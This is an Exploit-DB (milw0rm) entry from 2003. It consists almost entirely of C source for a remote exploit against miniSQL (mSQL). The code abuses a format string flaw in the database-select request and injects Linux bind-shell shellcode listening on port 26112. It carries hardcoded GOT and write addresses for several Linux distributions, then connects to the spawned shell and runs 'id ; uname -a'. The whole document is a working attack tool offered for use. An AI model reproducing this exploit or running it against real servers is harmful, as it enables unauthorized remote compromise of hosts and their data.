miniSQL (mSQL) 1.3 - GID Remote Code Execution

EDB-ID:

63

CVE:



Author:

the itch

Type:

remote


Platform:

Linux

Date:

2003-07-25


/*           _ ________            _____                        ______
    __ ___ ____       /____.------`    /_______.------.___.----`  ___/____ _______
         _/    \ _   /\   __.  __//   ___/_    ___.  /_\    /_    |     _/
   ___ ._\    . \\  /__  _____/ _    /     \_  |    /__      |   _| slc | _____ _
      - -------\______||--._____\---._______//-|__    //-.___|----._____||
					       / \   /
                                                   \/
[*] mSQL < remote gid root exploit    by lucipher & The Itch (netric)
   ------------------------------------------------------------------------------

[*]  Exploits a format string hole in mSQL.

[*] Some functions are taken from mSQL's sourcecode

    Copyright (c) 2003 Netric Security and lucipher
    All rights reserved.

    THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
    WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
    MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/

#include <stdio.h>	/* required by fatal() */
#include <stdlib.h>
#include <stdarg.h>	/* required by fatal() */
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <string.h>
#include <time.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>	/* required by errno */
#include <getopt.h>	/* required by getopt() */
#include <signal.h>

#define PKT_LEN		(128*1024)
#define ERR_BUF_LEN     200
#define resetError()    bzero(msqlErrMsg,sizeof(msqlErrMsg))
#define chopError()     { char *cp; cp = msqlErrMsg+strlen(msqlErrMsg) -1; \
                                if (*cp == '\n') *cp = 0;}

#define NET_READ(fd,b,l)	read(fd,b,l)
#define NET_WRITE(fd,b,l)	write(fd,b,l)

#define SERVER_GONE_ERROR	"server has gone...\n"
#define UNKNOWN_ERROR		"foo!"  

static char msqlErrMsg[200];
static u_char packetBuf[PKT_LEN + 4];
static int readTimeout;
u_char *packet = NULL;

int netReadPacket(int fd);
int netWritePacket(int fd);

/* bindshell shellcode */
char linux_code[78] = /* binds on port 26112 */
        "\x31\xdb\xf7\xe3\x53\x43\x53"
        "\x6a\x02\x89\xe1\xb0\x66\x52"
        "\x50\xcd\x80\x43\x66\x53\x89"
        "\xe1\x6a\x10\x51\x50\x89\xe1"
        "\x52\x50\xb0\x66\xcd\x80\x89"
        "\xe1\xb3\x04\xb0\x66\xcd\x80"
        "\x43\xb0\x66\xcd\x80\x89\xd9"
        "\x93\xb0\x3f\xcd\x80\x49\x79"
        "\xf9\x52\x68\x6e\x2f\x73\x68"
        "\x68\x2f\x2f\x62\x69\x89\xe3"
        "\x52\x53\x89\xe1\xb0\x0b\xcd"
        "\x80";

static void intToBuf(cp, val)
u_char *cp;
int val;
{
        *cp++ = (unsigned int) (val & 0x000000ff);
        *cp++ = (unsigned int) (val & 0x0000ff00) >> 8;
        *cp++ = (unsigned int) (val & 0x00ff0000) >> 16;
        *cp++ = (unsigned int) (val & 0xff000000) >> 24;
}

static int bufToInt(cp)
u_char *cp;
{
        int val;

        val = 0;
        val = *cp++;
        val += ((int) *cp++) << 8;
        val += ((int) *cp++) << 16;
        val += ((int) *cp++) << 24;
        return (val);
}

int netWritePacket(fd)
int fd;
{
        int len, offset, remain, numBytes;

        len = strlen((char *) packet);
        intToBuf(packetBuf, len);
        offset = 0;
        remain = len + 4;
        while (remain > 0) {
                numBytes = NET_WRITE(fd, packetBuf + offset, remain);
                if (numBytes == -1) {
                        return (-1);
                }
                offset += numBytes;
                remain -= numBytes;
        }
        return (0);
}

int netReadPacket(fd)
int fd;
{
        u_char buf[4];
        int len, remain, offset, numBytes;

        remain = 4;
        offset = 0;
        numBytes = 0;
        readTimeout = 0;
        while (remain > 0) {
                /*
                 ** We can't just set an alarm here as on lots of boxes
                 ** both read and recv are non-interuptable.  So, we
                 ** wait till there something to read before we start
                 ** reading in the server (not the client)
                 */
                if (!readTimeout) {
                        numBytes = NET_READ(fd, buf + offset, remain);
                        if (numBytes < 0 && errno != EINTR) {
                                fprintf(stderr,
                                        "Socket read on %d for length failed : ",
                                        fd);

                                perror("");
                        }
                        if (numBytes <= 0)
                                return (-1);
                }
                if (readTimeout)
                        break;
                remain -= numBytes;
                offset += numBytes;

        }
        len = bufToInt(buf);
        if (len > PKT_LEN) {
                fprintf(stderr, "Packet too large (%d)\n", len);
                return (-1);
        }
        if (len < 0) {
                fprintf(stderr, "Malformed packet\n");
                return (-1);
        }
        remain = len;
        offset = 0;
        while (remain > 0) {
                numBytes = NET_READ(fd, packet + offset, remain);

                if (numBytes <= 0) {
                        return (-1);
                }
                remain -= numBytes;
                offset += numBytes;
        }
        *(packet + len) = 0;
        return (len);
}

int msqlSelectDB(int sock, char *db)
{
        memset(msqlErrMsg, 0x0, sizeof(msqlErrMsg));

        packet = packetBuf+4;

        snprintf(packet, PKT_LEN, "%d:%s\n", 2, db);
        netWritePacket(sock);
        if (netReadPacket(sock) <= 0) {
                strcpy(msqlErrMsg, SERVER_GONE_ERROR);
                return (-1);
        }
        if (atoi(packet) == -1) {
                char *cp;

                cp = (char *) index(packet, ':');
                if (cp) {
                        strcpy(msqlErrMsg, cp + 1);
                        chopError();
                } else {
                        strcpy(msqlErrMsg, UNKNOWN_ERROR);
                }
                return (-1);
        }

        return (0);
}

struct target {
	char *name;			/* target description */
	unsigned long writeaddr;	/* mSQL's errMsg + 18 + 8 address */
	unsigned long smashaddr;	/* strcpy's GOT address */
	unsigned long pops;		/* number of stack pops */
};

/* high and low words indexers */
enum { hi, lo };

/* default values. */
struct target targets[] = {
	/* name                         write      smash       pops */
	{ "SlackWare 8.1 - mSQL 3.0p1", 0x80a169a, 0x080751ec, 113 },
	{ "Debian 3.0 - mSQL 3.0p1", 134879034, 0x08075224, 113 },
	{ "RedHat 8.0 - mSQL 3.0p1", 0x804b778, 0x08074c1c, 115 },
	{ "RedHat 8.0 (II) - mSQL 3.0p1", 0x804b778, 0x08074c1c, 116 },
	{ NULL, 0x0, 0x0, 0 }
};

void fatal(char *fmt, ...)
{
        char buffer[1024];
        va_list ap;

        va_start(ap, fmt);
        vsnprintf(buffer, sizeof (buffer) - 1, fmt, ap);
        va_end(ap);

        fprintf(stderr, "%s", buffer);
        exit(1);
}

/* resolve a given hostname */
unsigned long tcp_resolv(char *hostname)
{
        struct hostent *he;
        unsigned long addr;
        int n;

        he = gethostbyname(hostname);
        if (he == NULL) {
                n = inet_aton(hostname, (struct in_addr *) addr);
                if (n < 0)
                        fatal("inet_aton: %s\n", strerror(errno));

                return addr;
        }

        return *(unsigned long *) he->h_addr;
}

/* routine to open a tcp/ip connection */
int tcp_connect(char *hostname, int port)
{
        struct sockaddr_in sin;
        int fd, n;

        sin.sin_addr.s_addr = tcp_resolv(hostname);
        sin.sin_family = AF_INET;
        sin.sin_port = htons(port);

        fd = socket(AF_INET, SOCK_STREAM, 6);
        if (fd < 0)
                return -1;

        n = connect(fd, (struct sockaddr *) &sin, sizeof (sin));
        if (n < 0)
                return -1;

        return fd;
}

int msql_login(char *hostname, unsigned short int port)
{
	char buffer[300], *p;
	int fd, n, opt;

	fd = tcp_connect(hostname, port);
	if (fd < 0)
		fatal("[-] couldn't connect to host %s:%u\n", hostname, port);

	setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, (char *) &opt, 4);

	memset(&buffer, 0x0, sizeof(buffer));
	n = read(fd, &buffer, sizeof(buffer) - 1);
	if (n < 0)
		fatal("[-] could not read socket: %s\n", strerror(errno));

	p = (char *)&buffer + 4;
	if (atoi(p) == -1)
		fatal("[-] bad handshake received.\n");
	p++;
	if (*p != ':') p++;
	p++;
	if (*p >= '1' && *p <= '3') {
		/* send buffer size within packet. */
		buffer[0] = (unsigned int) (5UL & 0x000000ff);
		buffer[1] = (unsigned int) (5UL & 0x0000ff00) >> 8;
		buffer[2] = (unsigned int) (5UL & 0x00ff0000) >> 16;
		buffer[3] = (unsigned int) (5UL & 0xff000000) >> 24;
		/* sorta like our login. */
		buffer[4] = 'r';
		buffer[5] = 'o';
		buffer[6] = 'o';
		buffer[7] = 't';
		buffer[8] = '\n';
		buffer[9] = '\0';

		write(fd, buffer, 9);	
	}

	n = read(fd, buffer, sizeof(buffer) - 1);
	if (n < 0)
		fatal("[-] client failed in handshake.\n");

	printf("[+] connected to %s -> %u\n", hostname, port);
	return fd;
}

void msql_selectdb(int fd, char *database)
{
	unsigned char buffer[300];
	unsigned int len;

	len = 117;
	buffer[0] = (unsigned char)(len & 0x000000ff);
	buffer[1] = (unsigned char)(len & 0x0000ff00) >> 8;
	buffer[2] = (unsigned char)(len & 0x00ff0000) >> 16;
	buffer[3] = (unsigned char)(len & 0xff000000) >> 24;

	snprintf(&buffer[4], sizeof(buffer) - 1, "2:%s\n", database);
	len = write(fd, &buffer[0], len);

}

void shell(int fd)
{
	char buf[512];
	fd_set rfds;
	int l;

	write(fd, "id ; uname -a\n", 14);
	while (1) {
		FD_SET(0, &rfds);
		FD_SET(fd, &rfds);
		select(fd + 1, &rfds, NULL, NULL, NULL);

		if (FD_ISSET(0, &rfds)) {
			l = read(0, buf, sizeof (buf));
			if (l <= 0) {
				perror("read user");
				exit(EXIT_FAILURE);
			}
			write(fd, buf, l);
		}

		if (FD_ISSET(fd, &rfds)) {
			l = read(fd, buf, sizeof (buf));
			if (l == 0) {
				fatal("connection closed by foreign host.\n");
			} else if (l < 0) {
				perror("read remote");
				exit (EXIT_FAILURE);
			}
			write(1, buf, l);
		}

	}
}

void usage(void)
{
	fprintf(stderr, "mSQLexploit\n\n");
	fprintf(stderr, "  -l\t\tlist available targets.\n");
	fprintf(stderr, "  -t target\ttarget selection.\n");
	fprintf(stderr, " *** MANUAL ATTACK ***\n");
	fprintf(stderr, "  -s [addr]\tsmash address.\n");
	fprintf(stderr, "  -w [addr]\twrite address.\n");
	fprintf(stderr, "  -p [num]\tnumber of pops.\n");
	exit(1);
}

int main(int argc, char **argv)
{
	struct target manual;
	struct target *target = NULL;
	unsigned short port = 0, addr[2];
	unsigned char split[4];
	char *hostname, buffer[200];
	int fd, opt;

	if (argc <= 1)
		usage();

	memset(&manual, 0x00, sizeof(struct target));
	while ((opt = getopt(argc, argv, "lht:s:w:p:")) != EOF) {
		switch (opt) {
		case 't': /* pre-written target selection */
			target = &targets[atoi(optarg)];
			break;
		case 'l': 
			{
			int i;
			/* iterate through the list of targets and display. */
			for (i = 0; targets[i].name; i++)
				printf("[%d] %s\n", i, targets[i].name);

			exit(1);
			}
		case 'h':
			/* print exploit usage information */
			usage();
			break; /* never reached */
		case 's':
			if (target == NULL)
				target = &manual;

			target->name = "Manual Target";
			target->smashaddr = strtoul(optarg, NULL, 16);
			break;
		case 'w':
			if (target == NULL)
				target = &manual;

			target->name = "Manual Target";
			target->writeaddr = strtoul(optarg, NULL, 16) + 0x1a;
			break;
		case 'p':
			if (target == NULL)
				target = &manual;
			target->name = "Manual Target";
			target->pops = atoi(optarg);
		}
	}

	argc -= optind;
	argv += optind;

	if (argc <= 0) {
		fatal("choose a hostname and optionally a port\n");
	} else if (argc == 1) {
		hostname = argv[0];
	} else {
		hostname = argv[0];
		port = atoi(argv[1]) & 0xff;
	}
	if (target != NULL) {
		if (!strncmp(target->name, "Manual", 6))
			if (!target->smashaddr || !target->writeaddr || 
			    !target->pops)
				fatal("exploit requires pop count and "
				"smash, write addresses: use -p and -w and -s "
				"to set them\n");
	} else {
		target = &target[0];
	}

	printf("[+] attacking %s -> %u\n", hostname, (port) ? port : 1114);

	fd = msql_login(hostname, (port) ? port : 1114);

	printf("[+] name %s\n", target->name);
	printf("[+] smash %08lx\n", target->smashaddr);
	printf("[+] write %08lx\n", target->writeaddr);
	printf("[+] Now building string...\n");

	memset(&buffer, 0x0, sizeof(buffer));

	addr[lo] = (target->writeaddr & 0x0000ffff);
	addr[hi] = (target->writeaddr & 0xffff0000) >> 16;

	/* split the address */
	split[0] = (target->smashaddr & 0xff000000) >> 24;
	split[1] = (target->smashaddr & 0x00ff0000) >> 16;
	split[2] = (target->smashaddr & 0x0000ff00) >> 8;
	split[3] = (target->smashaddr & 0x000000ff);

	/* build the format string */
	if (addr[hi] < addr[lo])
		snprintf(buffer, sizeof(buffer),
				"%c%c%c%c"
				"%c%c%c%c"

				"%s"

				"%%.%du%%%ld$hn"
				"%%.%du%%%ld$hn",
			
				split[3] + 2, split[2], split[1], split[0],
				split[3], split[2], split[1], split[0],
				linux_code,
				addr[hi] - 0x68, target->pops, 
				addr[lo] - addr[hi], target->pops + 1);
	else 
		snprintf(buffer, sizeof(buffer),
                                "%c%c%c%c"
                                "%c%c%c%c"

                                "%s"

                                "%%.%du%%%ld$hn"
                                "%%.%du%%%ld$hn",

                                split[3] + 2, split[2], split[1], split[0],
                                split[3], split[2], split[1], split[0],
                                linux_code,
                                addr[lo] - 0x68, target->pops,
                                addr[hi] - addr[lo], target->pops + 1);
	
	printf("[+] Trying to exploit...\n");
	msqlSelectDB(fd, buffer);
	switch (opt = fork()) {
	case 0: 
		msqlSelectDB(fd, buffer);
		exit(1);
	case -1:
		fatal("[-] failed fork()!\n");
	default:
		break;
	}

	printf("[+] sleeping...\n");
	sleep(1);
	opt = tcp_connect(hostname, 26112);
	if (opt < 0)
		fatal("[-] failed! couldn't connect to bindshell!\n");

	printf("[+] shell!\n");
	shell(opt);
	
	return 0;
}


// milw0rm.com [2003-07-25]